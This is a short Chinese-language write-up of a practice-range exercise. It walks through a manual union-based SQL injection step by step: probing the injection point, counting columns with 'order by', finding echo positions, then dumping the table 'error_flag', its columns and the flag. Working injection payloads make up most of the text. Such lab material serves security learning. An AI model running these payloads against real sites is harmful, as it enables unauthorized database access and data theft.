1.先判断注入点id=1‘ and 1=1 报错
id=1‘ and 1=1 #报错
2.判断字段数用
id=1 order by 4 #报错在试试其他的
id=1 order by 3 #成功判断出3个字段
3.确定好了字段数量后找回显
union select 1,2,3 -- 1
#靶场显示
name:2;password:3,
#说明字段回显位是第二和第三个字段
4.爆库 #这里有个插曲,因为database()单词写成了databaes(),导致报错,正常报错不应该还能接着爆表的,但是我尝试了一下爆表,发现也可以爆,以为是mssql 不需要爆库,因为mssql特意忽略数据库的概念的,导致爆了一堆表出来,拿到表之后,获取数据的时候,始终是报错的,刚开始还以为是没找到对的表,有爆了几十张表出来,都报错,问了老师才发现是单词写错了,爆库的时候就错了,离了个大谱
union select 1,database(),'b'-- 1 #error
5.爆表 #这里的table_schema=database() 不要漏了,刚开始我就漏掉了
查询结果:error_flag
union select 1,table_name,'a' from information_schema.tables where table_schema=database() limit 0,1 -- 1
6.爆字段 #这里的column_name是获取字段名,我们需要获取三个字段中的后两个,所以需要写两个column_name
查询结果:flag/flag
and 1=2 union select 1,column_name,column_name from information_schema.columns where table_name='error_flag' -- 1
7.报数据 #zKaQ-Nf
and 1 = 2 union select 1,flag,flag from error_flag limit 0,1-- 1
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.